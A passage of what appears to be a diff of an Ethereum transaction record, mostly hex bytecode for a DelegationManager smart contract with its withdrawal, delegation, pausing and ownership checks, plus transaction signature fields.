57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220d8f8a7ae09f40353d16d290ba75d56306b46ad94ae3137a6fa1888bdf0b3380664736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c8530000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6", - "r": "0x1e11412ea537b5d0dfba3ed145af2a396653b1f00abe4dfb12b315ead06707f4", - "s": "0x49991a1abbbdfc43ba9eeb2ec5a53228e62500ae114a9c9610169c2d6e5b2ab2", + "input": "0x61010060405234801561001157600080fd5b50604051615c04380380615c0483398101604081905261003091610135565b6001600160a01b0380841660805280821660c052821660a05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516159ee61021660003960006126560152600081816105b10152818161101d0152818161139901528181611be5015281816129b001528181613e5b0152614347015260006107620152600081816104f901528181610feb0152818161136701528181611c7901528181612a7d01528181612c0001528181613f8101526143ed01526159ee6000f3fe608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148061103f5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614806113bb5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000000000000000000000000000000000000000000000909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f0000000000000000000000000000000000000000000000000000000000000000909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f00000000000000000000000000000000000000000000000000000000000000004603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b60848201